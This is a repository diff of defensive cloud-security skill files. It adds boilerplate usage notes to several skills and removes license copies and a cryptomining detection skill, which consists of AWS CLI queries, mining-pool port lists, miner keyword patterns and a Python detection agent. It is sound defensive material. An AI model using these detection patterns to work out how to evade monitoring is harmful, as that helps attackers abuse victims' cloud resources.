- When building detection rules or threat hunting queries for this domain
- When SOC analysts need structured procedures for this analysis type
- When validating security monitoring coverage for related attack techniques
## Prerequisites
- API gateway or reverse proxy with logging enabled (Kong, AWS API Gateway, Apigee)
@@ -15,6 +15,14 @@ license: Apache-2.0
Amazon GuardDuty is a threat detection service that continuously monitors AWS accounts for malicious activity and unauthorized behavior. By integrating GuardDuty with Amazon EventBridge and AWS Lambda, security teams achieve automated, real-time responses to threats, reducing mean time to response (MTTR) from hours to seconds. GuardDuty analyzes VPC Flow Logs, CloudTrail management and data events, DNS logs, EKS audit logs, and S3 data events.
## When to Use
- When investigating security incidents that require detecting aws guardduty findings automation
- When building detection rules or threat hunting queries for this domain
- When SOC analysts need structured procedures for this analysis type
- When validating security monitoring coverage for related attack techniques
## Prerequisites
- AWS account with GuardDuty enabled
@@ -15,6 +15,14 @@ license: Apache-2.0
Azure service principals are identity objects used by applications, services, and automation tools to access Azure resources. Attackers exploit service principals for privilege escalation, lateral movement, and persistent access. Key abuse patterns include: adding credentials to existing principals, assigning privileged roles, bypassing admin consent, and enumerating service principals for attack paths. Application ownership grants the ability to manage credentials and configure permissions, creating hidden privilege escalation paths.
## When to Use
- When investigating security incidents that require detecting azure service principal abuse
- When building detection rules or threat hunting queries for this domain
- When SOC analysts need structured procedures for this analysis type
- When validating security monitoring coverage for related attack techniques
## Prerequisites
- Azure subscription with Microsoft Entra ID P2 license
@@ -15,6 +15,14 @@ license: Apache-2.0
Azure Storage accounts are a frequent target for attackers due to misconfigured public access, long-lived SAS tokens, missing encryption, and outdated TLS versions. This skill uses the azure-mgmt-storage Python SDK with StorageManagementClient to enumerate all storage accounts in a subscription, inspect their security properties, list blob containers for public access settings, and generate a risk-scored audit report identifying critical misconfigurations.
## When to Use
- When investigating security incidents that require detecting azure storage account misconfigurations
- When building detection rules or threat hunting queries for this domain
- When SOC analysts need structured procedures for this analysis type
- When validating security monitoring coverage for related attack techniques
## Prerequisites
- Python 3.9+ with `azure-mgmt-storage`, `azure-identity`
@@ -15,6 +15,14 @@ license: Apache-2.0
Broken Object Property Level Authorization (BOPLA), classified as API3:2023 in the OWASP API Security Top 10, combines two related vulnerability classes: Excessive Data Exposure (API returning more data than needed) and Mass Assignment (API accepting more data than intended). Even when APIs enforce object-level authorization correctly, they may fail to control which specific properties of an object a user can read or modify. Attackers exploit this by reading sensitive properties from API responses or injecting additional properties into request bodies to modify fields they should not have access to.
## When to Use
- When investigating security incidents that require detecting broken object property level authorization
- When building detection rules or threat hunting queries for this domain
- When SOC analysts need structured procedures for this analysis type
- When validating security monitoring coverage for related attack techniques
## Prerequisites
- Target API with endpoints that return or accept object data
@@ -1,201 +0,0 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -1,318 +0,0 @@
---
name: detecting-cloud-cryptomining-activity
description: >
Detecting unauthorized cryptocurrency mining activity in cloud environments by analyzing
compute usage anomalies, network traffic to mining pools, GuardDuty findings, and
container workload behavior using AWS, Azure, and GCP native security services.
domain: cybersecurity
subdomain: cloud-security
tags: [cloud-security, cryptomining, threat-detection, guardduty, cost-anomaly, incident-response]
version: "1.0"
author: mahipal
license: Apache-2.0
---
# Detecting Cloud Cryptomining Activity
## When to Use
- When investigating unexpected spikes in cloud compute costs or CPU utilization
- When GuardDuty, Defender for Cloud, or SCC reports cryptocurrency-related findings
- When monitoring for compromised credentials being used to launch mining instances
- When building detection rules for unauthorized workload deployment in cloud environments
- When responding to alerts about network connections to known mining pool infrastructure
**Do not use** for detecting cryptomining on endpoints or on-premises servers (use EDR tools), for investigating the financial impact of mining (use cloud cost management tools), or for blocking mining at the network level (use DNS filtering and firewall rules).
## Prerequisites
- AWS GuardDuty enabled across all accounts and regions
- Azure Defender for Cloud with server and container plans enabled
- GCP Security Command Center with Event Threat Detection enabled
- CloudTrail, Azure Activity Log, and GCP Audit Log enabled for API monitoring
- Cloud cost monitoring and alerting configured (AWS Cost Anomaly Detection, Azure Cost Management)
- Network flow logs enabled (VPC Flow Logs, NSG Flow Logs, VPC Flow Logs)
## Workflow
### Step 1: Identify GuardDuty Cryptocurrency Findings (AWS)
Query GuardDuty for cryptocurrency-specific finding types that indicate mining activity.
```bash
# List active cryptocurrency-related findings
aws guardduty list-findings \
--detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \
--finding-criteria '{
"Criterion": {
"type": {
"Eq": [
"CryptoCurrency:EC2/BitcoinTool.B!DNS",
"CryptoCurrency:EC2/BitcoinTool.B",
"CryptoCurrency:Runtime/BitcoinTool.B!DNS",
"CryptoCurrency:Runtime/BitcoinTool.B",
"CryptoCurrency:Lambda/BitcoinTool.B"
]
},
"service.archived": {"Eq": ["false"]}
}
}' --output json
# Get detailed findings
FINDING_IDS=$(aws guardduty list-findings \
--detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \
--finding-criteria '{"Criterion":{"type":{"Eq":["CryptoCurrency:EC2/BitcoinTool.B!DNS"]}}}' \
--query 'FindingIds' --output json)
aws guardduty get-findings \
--detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \
--finding-ids $FINDING_IDS \
--query 'Findings[*].{Type:Type,Severity:Severity,Resource:Resource.InstanceDetails.InstanceId,RemoteIP:Service.Action.NetworkConnectionAction.RemoteIpDetails.IpAddressV4,Domain:Service.Action.DnsRequestAction.Domain}' \
--output table
```
### Step 2: Detect Compute Usage Anomalies
Monitor for unexpected compute resource provisioning and CPU utilization spikes that indicate mining.
```bash
# AWS: Find recently launched large instances (mining often uses c5/p3/g4 instances)
aws ec2 describe-instances \
--filters "Name=instance-state-name,Values=running" \
--query 'Reservations[*].Instances[*].[InstanceId,InstanceType,LaunchTime,Tags[?Key==`Name`].Value|[0]]' \
--output table | grep -E "c5\.|c6\.|p3\.|p4\.|g4\.|g5\."
# AWS: Check for high CPU utilization
aws cloudwatch get-metric-statistics \
--namespace AWS/EC2 \
--metric-name CPUUtilization \
--dimensions Name=InstanceId,Value=i-SUSPECT_INSTANCE \
--start-time 2026-02-22T00:00:00Z \
--end-time 2026-02-23T00:00:00Z \
--period 3600 \
--statistics Average \
--query 'Datapoints[*].[Timestamp,Average]' --output table
# AWS: Check Cost Anomaly Detection
aws ce get-anomalies \
--date-interval '{"StartDate":"2026-02-16","EndDate":"2026-02-23"}' \
--query 'Anomalies[*].[AnomalyId,AnomalyScore.MaxScore,Impact.TotalImpact,RootCauses[0].Service]' \
--output table
# Azure: Find VMs with unusual CPU patterns
az monitor metrics list \
--resource /subscriptions/SUB_ID/resourceGroups/RG/providers/Microsoft.Compute/virtualMachines/VM_NAME \
--metric "Percentage CPU" \
--interval PT1H \
--start-time 2026-02-22T00:00:00Z \
--end-time 2026-02-23T00:00:00Z
```
### Step 3: Analyze Network Traffic for Mining Pool Connections
Identify network connections to known cryptocurrency mining pools and Stratum protocol traffic.
```bash
# Query VPC Flow Logs for connections to known mining pool ports (3333, 4444, 8333, 14444)
# AWS: Using CloudWatch Logs Insights
aws logs start-query \
--log-group-name vpc-flow-logs \
--start-time $(date -d "24 hours ago" +%s) \
--end-time $(date +%s) \
--query-string '
fields @timestamp, srcAddr, dstAddr, dstPort, bytes
| filter dstPort in [3333, 4444, 8333, 14444, 14433, 45700]
| sort bytes desc
| limit 100
'
# Check DNS queries for mining pool domains
aws logs start-query \
--log-group-name route53-resolver-logs \
--start-time $(date -d "24 hours ago" +%s) \
--end-time $(date +%s) \
--query-string '
fields @timestamp, query_name, srcids.instance
| filter query_name like /pool|mining|xmr|monero|nicehash|ethermine|f2pool|nanopool/
| limit 100
'
# GCP: Query VPC Flow Logs for mining connections
gcloud logging read '
resource.type="gce_subnetwork"
AND jsonPayload.connection.dest_port=(3333 OR 4444 OR 8333 OR 14444)
AND timestamp>="2026-02-22T00:00:00Z"
' --limit=50 --format=json
```
### Step 4: Investigate Container and Serverless Mining
Check for cryptomining within container workloads and serverless functions.
```bash
# EKS/Kubernetes: Find pods with high CPU usage
kubectl top pods --all-namespaces --sort-by=cpu | head -20
# Find suspicious container images
kubectl get pods --all-namespaces -o json | python3 -c "
import json, sys
data = json.load(sys.stdin)
suspicious = ['xmrig', 'monero', 'miner', 'crypto', 'pool', 'hashrate']
for pod in data['items']:
ns = pod['metadata']['namespace']
name = pod['metadata']['name']
for container in pod['spec'].get('containers', []):
image = container.get('image', '').lower()
if any(s in image for s in suspicious):
print(f'SUSPICIOUS: {ns}/{name} -> image: {container[\"image\"]}')
"
# Check Lambda function for mining (unusual duration and memory)
aws lambda list-functions --query 'Functions[*].[FunctionName,MemorySize,Timeout]' --output table
aws cloudwatch get-metric-statistics \
--namespace AWS/Lambda \
--metric-name Duration \
--dimensions Name=FunctionName,Value=SUSPECT_FUNCTION \
--start-time 2026-02-22T00:00:00Z \
--end-time 2026-02-23T00:00:00Z \
--period 3600 \
--statistics Average Maximum
```
### Step 5: Trace the Attack Vector
Investigate how the mining infrastructure was deployed by analyzing API logs and credential usage.
```bash
# AWS: Find who launched suspect instances
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=ResourceType,AttributeValue=AWS::EC2::Instance \
--start-time 2026-02-20T00:00:00Z \
--query 'Events[?contains(Resources[0].ResourceName, `i-SUSPECT`)].[EventTime,EventName,Username,SourceIPAddress]' \
--output table
# Check for leaked credentials being used
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=AccessKeyId,AttributeValue=AKIA_SUSPECT_KEY \
--query 'Events[*].[EventTime,EventName,SourceIPAddress,EventSource]' \
--output table
# Check for unusual API calls (RunInstances from new IPs)
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=EventName,AttributeValue=RunInstances \
--start-time 2026-02-20T00:00:00Z \
--query 'Events[*].[EventTime,Username,SourceIPAddress]' \
--output table
```
### Step 6: Contain and Remediate
Isolate mining resources, revoke compromised credentials, and implement preventive controls.
```bash
# Terminate mining instances
aws ec2 terminate-instances --instance-ids i-MINING_INSTANCE_1 i-MINING_INSTANCE_2
# Deactivate compromised credentials
aws iam update-access-key --user-name compromised-user \
--access-key-id AKIA_COMPROMISED --status Inactive
# Add SCP to prevent large instance types in non-production accounts
cat > mining-prevention-scp.json << 'EOF'
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Deny",
"Action": "ec2:RunInstances",
"Resource": "arn:aws:ec2:*:*:instance/*",
"Condition": {
"ForAnyValue:StringLike": {
"ec2:InstanceType": ["p3.*", "p4.*", "g4.*", "g5.*"]
}
}
}]
}
EOF
# Set up billing alarm for early detection
aws cloudwatch put-metric-alarm \
--alarm-name high-ec2-spend \
--metric-name EstimatedCharges \
--namespace AWS/Billing \
--statistic Maximum \
--period 21600 \
--threshold 500 \
--comparison-operator GreaterThanThreshold \
--alarm-actions arn:aws:sns:us-east-1:ACCOUNT:billing-alerts
```
## Key Concepts
| Term | Definition |
|------|------------|
| Cryptomining | Unauthorized use of cloud compute resources to mine cryptocurrency, typically Monero (XMR) due to its CPU-mining efficiency and privacy features |
| Stratum Protocol | Mining pool communication protocol typically running on ports 3333, 4444, or 14444 used to coordinate mining work between miners and pools |
| GuardDuty CryptoCurrency Finding | AWS threat detection finding that identifies EC2, EKS, or Lambda resources communicating with known cryptocurrency mining infrastructure |
| Cost Anomaly Detection | AWS service that uses machine learning to detect unusual spending patterns that may indicate unauthorized resource provisioning |
| Compute Abuse | Unauthorized use of cloud compute resources, commonly via compromised credentials or exploited applications, for cryptomining or other purposes |
| Service Control Policy | AWS Organizations policy that can restrict instance types or regions to prevent attackers from launching GPU/compute-optimized mining instances |
## Tools & Systems
- **AWS GuardDuty**: Threat detection service with specific finding types for cryptocurrency mining activity on EC2, EKS, and Lambda
- **Azure Defender for Cloud**: Detects cryptomining through behavioral analysis and network threat intelligence
- **GCP Event Threat Detection**: SCC component that identifies cryptocurrency mining via network analysis and process monitoring
- **CloudTrail / Activity Log / Audit Log**: API audit logs for tracing how mining resources were provisioned
- **VPC Flow Logs**: Network flow data for identifying connections to mining pool infrastructure
## Common Scenarios
### Scenario: Compromised AWS Access Key Used to Launch GPU Mining Fleet
**Context**: A billing alarm triggers after a weekend spike from $200/day to $15,000/day. Investigation reveals 50 p3.8xlarge instances running across four regions, all launched by an access key belonging to a developer.
**Approach**:
1. Query GuardDuty for CryptoCurrency findings to confirm mining activity
2. Terminate all mining instances across all regions immediately
3. Deactivate the compromised access key and check CloudTrail for the source IP
4. Discover the key was exposed in a public GitHub repository via TruffleHog scan
5. Rotate all credentials for the compromised user
6. Implement SCP to deny GPU instance types in non-production accounts
7. Enable AWS Cost Anomaly Detection with automated alerts
8. Set up git-secrets pre-commit hooks across the development team
**Pitfalls**: Cryptominers often launch instances in regions where the account has no monitoring. Enable GuardDuty in ALL regions. Mining instances may use spot requests that persist after instance termination, so also cancel any active spot fleet requests and auto-scaling groups created by the attacker.
## Output Format
```
Cloud Cryptomining Incident Report
=====================================
Account: 123456789012 (Production)
Detection Date: 2026-02-23
Alert Source: AWS Cost Anomaly Detection + GuardDuty
INCIDENT SUMMARY:
Mining instances launched: 50 (p3.8xlarge)
Regions affected: us-east-1, us-west-2, eu-west-1, ap-southeast-1
Duration: ~48 hours (Feb 21 14:00 UTC to Feb 23 10:00 UTC)
Estimated cost impact: $28,400
Cryptocurrency mined: Monero (XMR)
ATTACK VECTOR:
Compromised credential: AKIA...WXYZ (developer-user)
Exposure method: Hardcoded in public GitHub repository
First unauthorized API call: Feb 21 13:47 UTC from IP 185.x.x.x
GUARDDUTY FINDINGS:
CryptoCurrency:EC2/BitcoinTool.B!DNS: 50 findings
UnauthorizedAccess:EC2/TorIPCaller: 3 findings
CONTAINMENT ACTIONS:
[x] All mining instances terminated
[x] Compromised access key deactivated
[x] New access key issued via Secrets Manager
[x] SCP applied to deny GPU instance types
[x] Cost anomaly alerting configured
[x] GuardDuty enabled in all regions
```
@@ -1,78 +0,0 @@
# Cloud Cryptomining Detection API Reference
## GuardDuty - Cryptocurrency Finding Types
| Finding Type | Signal |
|-------------|--------|
| `CryptoCurrency:EC2/BitcoinTool.B!DNS` | EC2 querying crypto domains |
| `CryptoCurrency:EC2/BitcoinTool.B` | EC2 communicating with mining pools |
| `CryptoCurrency:Runtime/BitcoinTool.B!DNS` | Container DNS to mining domain |
| `CryptoCurrency:Runtime/BitcoinTool.B` | Container network to mining pool |
| `Impact:EC2/BitcoinDomainRequest.Reputation` | Known mining domain access |
## GuardDuty CLI
```bash
# Get detector ID
aws guardduty list-detectors --query 'DetectorIds[0]' --output text
# List crypto findings
aws guardduty list-findings --detector-id $DET \
--finding-criteria '{"Criterion":{"type":{"Eq":["CryptoCurrency:EC2/BitcoinTool.B!DNS"]}}}'
# Get finding details
aws guardduty get-findings --detector-id $DET --finding-ids id1 id2
```
## AWS Cost Anomaly Detection
```bash
# Create cost anomaly monitor
aws ce create-anomaly-monitor --anomaly-monitor '{
"MonitorName": "EC2CostSpike",
"MonitorType": "DIMENSIONAL",
"MonitorDimension": "SERVICE"
}'
# Create alert subscription
aws ce create-anomaly-subscription --anomaly-subscription '{
"SubscriptionName": "CryptoAlert",
"MonitorArnList": ["arn:aws:ce::123456789012:anomalymonitor/monitor-id"],
"Subscribers": [{"Address": "soc@company.com", "Type": "EMAIL"}],
"Threshold": 100.0,
"Frequency": "IMMEDIATE"
}'
```
## Known Mining Pool Ports
```
3333 - Stratum protocol (common)
4444 - Mining proxy
5555 - Monero (XMR)
7777 - Alt-coin mining
8888 - Multi-pool
9999 - Mining proxy
14444 - XMRig default
45700 - MoneroOcean
```
## VPC Flow Logs Query (CloudWatch Insights)
```
fields @timestamp, srcaddr, dstaddr, dstport, action
| filter dstport in [3333, 4444, 5555, 7777, 14444, 45700]
| sort @timestamp desc
| limit 50
```
## EC2 Instance Remediation
```bash
# Terminate mining instance
aws ec2 terminate-instances --instance-ids i-0123456789abcdef0
# Revoke security group ingress on mining ports
aws ec2 revoke-security-group-ingress --group-id sg-xxx \
--protocol tcp --port 3333 --cidr 0.0.0.0/0
```
@@ -1,163 +0,0 @@
#!/usr/bin/env python3
"""Cloud cryptomining detection agent using AWS GuardDuty and CloudWatch."""
import json
import subprocess
import sys
from datetime import datetime
CRYPTO_FINDING_TYPES = [
"CryptoCurrency:EC2/BitcoinTool.B!DNS",
"CryptoCurrency:EC2/BitcoinTool.B",
"CryptoCurrency:Runtime/BitcoinTool.B!DNS",
"CryptoCurrency:Runtime/BitcoinTool.B",
"CryptoCurrency:Lambda/BitcoinTool.B",
"Impact:EC2/BitcoinDomainRequest.Reputation",
"Impact:Runtime/BitcoinDomainRequest.Reputation",
]
MINING_POOL_PORTS = [3333, 4444, 5555, 7777, 8888, 9999, 14444, 45700]
def aws_cli(args):
"""Execute an AWS CLI command and return parsed JSON."""
cmd = ["aws"] + args + ["--output", "json"]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
if result.returncode == 0:
return json.loads(result.stdout) if result.stdout.strip() else {}
return {"error": result.stderr.strip()}
except Exception as e:
return {"error": str(e)}
def get_guardduty_detector():
"""Get the GuardDuty detector ID."""
result = aws_cli(["guardduty", "list-detectors"])
detectors = result.get("DetectorIds", [])
return detectors[0] if detectors else None
def list_crypto_findings(detector_id=None):
"""List GuardDuty findings related to cryptocurrency mining."""
if not detector_id:
detector_id = get_guardduty_detector()
if not detector_id:
return {"error": "No GuardDuty detector found"}
criteria = {"Criterion": {"type": {"Eq": CRYPTO_FINDING_TYPES}, "service.archived": {"Eq": ["false"]}}}
result = aws_cli([
"guardduty", "list-findings",
"--detector-id", detector_id,
"--finding-criteria", json.dumps(criteria),
])
finding_ids = result.get("FindingIds", [])
if not finding_ids:
return {"detector_id": detector_id, "findings": [], "count": 0}
details = aws_cli([
"guardduty", "get-findings",
"--detector-id", detector_id,
"--finding-ids"] + finding_ids[:25]
)
findings = []
for f in details.get("Findings", []):
resource = f.get("Resource", {})
instance = resource.get("InstanceDetails", {})
findings.append({
"id": f.get("Id"),
"type": f.get("Type"),
"severity": f.get("Severity"),
"title": f.get("Title"),
"instance_id": instance.get("InstanceId"),
"instance_type": instance.get("InstanceType"),
"region": f.get("Region"),
"updated_at": f.get("UpdatedAt"),
})
return {"detector_id": detector_id, "count": len(findings), "findings": findings}
def check_ec2_cpu_anomalies(threshold_percent=90):
"""Find EC2 instances with sustained high CPU (potential mining)."""
result = aws_cli([
"cloudwatch", "get-metric-data",
"--metric-data-queries", json.dumps([{
"Id": "cpu",
"MetricStat": {
"Metric": {
"Namespace": "AWS/EC2",
"MetricName": "CPUUtilization",
},
"Period": 3600,
"Stat": "Average",
},
}]),
"--start-time", (datetime.utcnow().replace(hour=0, minute=0, second=0)).isoformat() + "Z",
"--end-time", datetime.utcnow().isoformat() + "Z",
])
return result
def check_cost_anomalies():
"""Check for cost anomaly detections that may indicate mining."""
result = aws_cli([
"ce", "get-anomalies",
"--date-interval", json.dumps({
"StartDate": datetime.utcnow().strftime("%Y-%m-01"),
"EndDate": datetime.utcnow().strftime("%Y-%m-%d"),
}),
])
return result
def check_vpc_flow_mining_ports(log_group="/aws/vpc/flowlogs"):
"""Query CloudWatch Logs for connections to known mining pool ports."""
ports_filter = " || ".join([f"dstport = {p}" for p in MINING_POOL_PORTS])
query = f'fields @timestamp, srcaddr, dstaddr, dstport, action | filter ({ports_filter}) | sort @timestamp desc | limit 50'
result = aws_cli([
"logs", "start-query",
"--log-group-name", log_group,
"--start-time", str(int((datetime.utcnow().replace(hour=0)).timestamp())),
"--end-time", str(int(datetime.utcnow().timestamp())),
"--query-string", query,
])
return result
def terminate_mining_instance(instance_id):
"""Terminate a confirmed cryptomining EC2 instance."""
result = aws_cli(["ec2", "terminate-instances", "--instance-ids", instance_id])
return {
"action": "terminate_instance",
"instance_id": instance_id,
"result": result,
"timestamp": datetime.utcnow().isoformat() + "Z",
}
def generate_report():
"""Generate a comprehensive cryptomining detection report."""
return {
"timestamp": datetime.utcnow().isoformat() + "Z",
"guardduty_findings": list_crypto_findings(),
"cost_anomalies": check_cost_anomalies(),
}
if __name__ == "__main__":
action = sys.argv[1] if len(sys.argv) > 1 else "report"
if action == "report":
print(json.dumps(generate_report(), indent=2, default=str))
elif action == "findings":
print(json.dumps(list_crypto_findings(), indent=2, default=str))
elif action == "costs":
print(json.dumps(check_cost_anomalies(), indent=2, default=str))
elif action == "flow-logs":
lg = sys.argv[2] if len(sys.argv) > 2 else "/aws/vpc/flowlogs"
print(json.dumps(check_vpc_flow_mining_ports(lg), indent=2, default=str))
elif action == "terminate" and len(sys.argv) > 2:
print(json.dumps(terminate_mining_instance(sys.argv[2]), indent=2, default=str))
else:
print("Usage: agent.py [report|findings|costs|flow-logs [log-group]|terminate <instance-id>]")
@@ -15,6 +15,14 @@ license: Apache-2.0
Container drift occurs when running containers deviate from their original image state through unauthorized file modifications, unexpected binary execution, configuration changes, or package installations. Since containers should be treated as immutable infrastructure, any drift is a potential indicator of compromise. Detection techniques leverage the DIE (Detect, Isolate, Evict) model -- an immutable workload should not change during runtime, so any observed change is potentially evidence of malicious activity.
## When to Use
- When investigating security incidents that require detecting container drift at runtime
- When building detection rules or threat hunting queries for this domain
- When SOC analysts need structured procedures for this analysis type
- When validating security monitoring coverage for related attack techniques
## Prerequisites
- Kubernetes cluster v1.24+ with runtime security tooling
@@ -15,6 +15,14 @@ license: Apache-2.0
Falco is a CNCF-graduated runtime security tool that monitors Linux syscalls to detect anomalous container behavior. It uses a rules engine to identify container escape techniques such as mounting host filesystems, accessing sensitive host paths, loading kernel modules, and exploiting privileged container capabilities.
## When to Use
- When investigating security incidents that require detecting container escape with falco rules
- When building detection rules or threat hunting queries for this domain
- When SOC analysts need structured procedures for this analysis type
- When validating security monitoring coverage for related attack techniques
## Prerequisites
- Linux host with kernel 5.8+ (for eBPF driver) or kernel module support
@@ -1,201 +0,0 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
